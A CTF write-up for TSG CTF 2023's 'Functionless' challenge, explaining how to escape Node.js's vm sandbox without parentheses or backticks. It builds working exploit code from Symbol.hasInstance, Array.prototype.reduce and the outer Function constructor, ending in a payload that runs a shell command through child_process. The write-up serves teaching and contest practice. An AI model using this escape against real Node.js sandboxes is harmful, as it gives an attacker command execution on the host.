# TSG CTF 2023 Functionless Writeup (en) ###### tags: `CTF` 日本語: https://hackmd.io/@n4o847/rygjBp476 ## Challenge Overview - The input code is executed using the [vm](https://nodejs.org/api/vm.html) module in Node.js - Calls to `eval` and function constructors (such as `Function`) are prohibited - The input must not contain any of the characters `(`, `)`, or <code>`</code> ## Intended Solution First, since `this` refers to an object created outside of the context, `this.constructor.constructor` can be used to obtain a `Function` constructor outside of the VM. The use of this external `Function` constructor is not prohibited by the constraint `codeGeneration: { strings: false }` and allows access to global objects outside of the VM. ```js this.constructor.constructor("console.log(process)")() ``` Next, a quick search brings up the following code as a function call that uses neither parenteses nor backticks and can also be used in Node.js: ```js x instanceof { [Symbol.hasInstance]: f } ``` This is equivalent to: ```js !!f.call({}, x) // or simply !!f(x) ``` The challenges are here: - The function `f` can only take one argument - The result can only be obtained as a boolean value We would like to combine this technique with the `Fuction` constructor to successfully execute arbitrary code, but it is difficult because it requires two consecutive calls like `Function(code)()`. As a method to obtain the result of a function call, consider using `Array.prototype.reduce` in the following way: ```js a = [x, y, z] a[Symbol.hasInstance] = Array.prototype.reduce f instanceof a ``` This is equivalent to: ```js a = [x, y, z] !!a.reduce(f) ``` and can be expanded to: ```js a = [x, y, z] !!f(f(x, y, 1, a), z, 2, a) ``` Here `f` should be a function that applies one of its arguments to the other. Trying `f = Array.from`, we get: ```js a = [x, y, z] !!Array.from(Array.from(x, y, 1, a), z, 2, a) ``` and if `x` is an array, this is equivalent to: ```js !!x.map(y, 1).map(z, 2) ``` Furthermore, if `x` is an array with a single element, this is equivalent to: ```js !!z.call(2, y.call(1, x[0], 0), 1) // or simply !!z(y(x[0], 0), 1) ``` If you set `y = Function`, you can get the result of `y(x[0], 0)` passed to `z`, but the second unnecessary parameter `0` is being passed as the function body. However, you can use a default parameter in the argument part of `Function` to execute any expression you like. ```js f = Function("x = console.log(42)", "0") f() // output: 42 ``` Thus, the following code gives a function `f` that executes arbitrary code: ```js a = [["x = <code>"], this.constructor.constructor, _ => f = _] a[Symbol.hasInstance] = Array.prototype.reduce Array.from instanceof a ``` and you can call it so that the default parameter is evaluated. ```js +{ valueOf: f } ``` ```js c = "process.stdout.write\x28process.mainModule.require\x28'child_process'\x29.execSync\x28'cat flag-*.txt'\x29\x29" a = [["x = " + c], this.constructor.constructor, _ => f = _] a[Symbol.hasInstance] = Array.prototype.reduce Array.from instanceof a +{ valueOf: f } ``` ## Other Solutions - https://gist.github.com/arkark/a31f57c271e4aca4516c5a7072845aca - https://gist.github.com/lebr0nli/120803dcd6b8c61c4aee7670cb1ad6f3 - https://blog.maple3142.net/2023/11/05/tsg-ctf-2023-writeups/